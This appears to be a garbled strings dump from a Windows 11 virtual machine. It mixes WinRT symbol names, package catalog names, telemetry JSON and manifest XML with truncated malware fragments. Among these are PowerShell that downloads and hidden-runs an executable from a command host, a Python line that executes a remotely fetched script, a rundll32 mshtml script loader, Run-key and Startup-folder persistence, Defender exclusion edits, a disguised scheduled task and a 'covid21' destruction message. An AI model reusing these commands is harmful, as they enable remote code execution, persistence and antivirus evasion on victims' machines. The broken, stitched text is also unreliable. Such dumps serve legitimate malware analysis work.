anager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@UITextViewManagerFactory@34@@impl@winrt@@
.?AU?$implements@UTextViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@UITextViewManagerFactory@34@@winrt@@
.?AU?$producer_convert@UTextViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UTextViewManager@factory_implementation@RNSVG@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UITextViewManagerFactory@RNSVG@4@@std@@@impl@winrt@@
.?AU?$producer@UTextViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UUnsupportedSvgViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UUnsupportedSvgViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$root_implements@UUnsupportedSvgViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@UIUnsupportedSvgViewManagerFactory@34@@impl@winrt@@
.?AU?$implements@UUnsupportedSvgViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@UIUnsupportedSvgViewManagerFactory@34@@winrt@@
.?AU?$producer_convert@UUnsupportedSvgViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UUnsupportedSvgViewManager@factory_implementation@RNSVG@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIUnsupportedSvgViewManagerFactory@RNSVG@4@@std@@@impl@winrt@@
.?AU?$producer@UUnsupportedSvgViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/119.0.0.0 safari/537.36}m
Windows Media Player NSS
Windows Messaging Subsystem
Windows Photo Viewer9
Windows Portable Devices
GetWindowsAccountDomainSid
Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-CrashDump-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-NFS-ClientCore-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package011120~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-CrashDump-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
%"ComSpec=C:\WINDOWS\system32\cmd.exe
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
USERDOMAIN_ROAMINGPROFILE=Windows11
%appdata%")&"\microsoft\windows\startmenu\pro
WindowsAccount
Windows.Devices.Bluetooth.GenericAttributeProfile.GattDescriptorUuids
Windows.Devices.Bluetooth.GenericAttributeProfile.GattDeviceService
Windows.Devices.Bluetooth.GenericAttributeProfile.GattLocalCharacteristicParameters
Windows.Devices.Bluetooth.GenericAttributeProfile.GattLocalDescriptorParameters
Windows.Devices.Bluetooth.GenericAttributeProfile.GattPresentationFormat
Windows.Devices.Bluetooth.GenericAttributeProfile.GattPresentationFormatTypes
Windows.Devices.Bluetooth.GenericAttributeProfile.GattProtocolError
Windows.Devices.Bluetooth.GenericAttributeProfile.GattReliableWriteTransaction
Windows.Devices.Bluetooth.GenericAttributeProfile.GattServiceProvider
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-UserMgr-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.712.cat|
Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-GroupPolicy-ClientExtensions-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Licenses-Professional-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
79^com.microsoft.windows.ey
c^com.microsoft.windows.e
 Windows
windows
Windows.Foundation.Handles.Internal.TokenHandle
Windows.Foundation.MemoryBuffer
Windows.Foundation.MemoryBufferFactory
Windows.Foundation.Metadata.ApiInformation
Windows.Foundation.Private.Component
Windows.Foundation.Private.Component2
Windows.Foundation.Private.ComponentSite
Windows.Foundation.Private.ComponentUIActivatedEventArgs
Windows.Foundation.Private.CompositionDevice
Windows.Foundation.Private.CompositionVisual
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
/%blackberry%%physalis%vanuatu=windows
c:\windows\system32\cmd.exe/cwscript".
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Windows.Networking.BackgroundTransfer.Internal'
Microsoft-Windows-EditionPack-Professional-
Microsoft-Windows-
f;diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep
'diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep
Microsoft.Windows.Shell.ControlCenter
Microsoft.Windows.Desktop.Shell.QuickActions
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.HardwareRequirements
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
C:\WINDOWS\hstsys.dllC:\WINDOWS\hostctrl.dll
ZMicrosoft-Windows-RecDisc-SDP-removable-Package~31bf3856ad364e35~amd64~~10.0.26100.7019
Microsoft-Windows-Client-LanguagePack-
17^windows.packageExtension
windows.deploymentExtensionHandler
20^windows.deploymentExtensionHandler
21^windows.deploymentExtensionHandler
/create/tnwindowsdefendercachemaintenance
.isinrole([security.principal.windowsbuiltinrole]::administrator)
env:appdata\microsoft\windows\startmenu\programs\startup\
d',$path);c:\windows\system32\rundll32.exe$path,
pode="importrequests;exec(requests.get('$remotescripturl').text)"start-process-filepath$pythonexe-argumentlist"-c`"$pythoncode`""-windowstylehi
createobject("wscript.shell"):appdata=office.expandenvironmentstrings("%appdata%")&"\microsoft\windows\startmenu\programs\startup\winword.exe"
c:\windows\system32\rundll32.exejavascript:"\..\mshtml,runhtmlapplication";document.write();getobject("script:https://
$d(new-objectnet.webclient).downloadfile("$cc/checkit2.exe","$env:tmp\checkit2.exe")start-process"$env:tmp\checkit2.exe"-windowstylehidden
:software\microsoft\windows\currentversion\policies\explorer\run
@Windows@7@UI
WindowsCreateSK
Software\Microsoft\Windows\efterabende\Uninstall\legality\kompromisserS
keyName.InitializeFormat(L"Software\\Microsoft\\Windows\\Current
UTCAggregators:::Microsoft.Windows.ClientMetrics.SRUM.Telemetry.BatteryDrainStateData_ChCR_Nickel
Windows.Graphics.Imaging
Global.WindowsPersonaCard.AppX8mqwb6jamj7bp6kj3wtbaz5n9bep069q.mca
batchfile.writeline"regadd""hkcu\software\microsoft\windows\currentversion\run""/v""dwm""/treg_sz/d""%userprofile%\dwm.bat""/f>nul"batchfile.writeline"%
F1\regadd"hklm\software\policies\microsoft\windowsdefender\exclusions\paths"/f/v"
,x%regadd"hklm\software\policies\microsoft\windowsdefender\exclusions\paths"/f/v"
0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
:{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":39},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":
    xmlns:ns0000="http://schemas.microsoft.com/windows/2018/04/printing/printschemakeywords/Ipp"
    xmlns:psk="http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords"
    xmlns:psk11="http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11"
    xmlns:psk12="http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12"
    xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework"
    xmlns:psf2="http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2"
    xmlns="http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2"
CheckWindowState
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientExtensions-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Product-onecore__Microsoft-OneCore-Connectivity-HIDMiniports-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|
Microsoft-Windows-WindowsMediaPlayer-Troubleshooters-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Bows\system32\cmd.exe/cstart"""c:\users\bruno\appdata\roaming\
"c:\windows\temp\
Behavior:Win32/WinlogonRegistryUserInit.E
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ft-com:windows:store:l2
windows.hlp`
winlogon.exe|7111cb227d6798fb
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dll5
temRoot%\system32\mswsock.dl
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\StartMenu\
windows\syst
    name="Microsoft.Windows.Shell.ntshrui"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
<\WindowsSecurityAppList.targetsize-48_altform-unplated.png~
WindowsSecurityAppListz
\WindowsSecurityMedTile.scale-20T
9b^windows.protoco
9c^windows.alarm(
9c^windows.protoco
st/desktop/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:desktop2="http://schemas.microsoft.com/appx/manifest/desktop/windows10/2"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
WindowsDeleteString
WindowsCreateStringReference
WindowsGetStringRawBuffer
GetWindowsDirectoryW
WindowsDeleteStringBuffer
WindowsPreallocateStringBuffer
WindowsPromoteStringBuffer
C:\Windows\TempC
cmd /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "
dwindows\system32\forfiles.exe/pc:\windows\system32\/mnotepad.exe/c"cmd/q/cfor/rc:\windows\system32\%iin(*
your windows will die from covid21 corona virusy
covid21 is here! your windows will be destroyedc
PWindowsB
eectable@Foundation@Windows@5@@Z@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?9??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_9>@?9??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_8>@?9??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?8??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_6>@?8??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_7>@?8??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_7>@?8??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_5>@?7??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_5>@?7??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_6>@?8??Connect@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
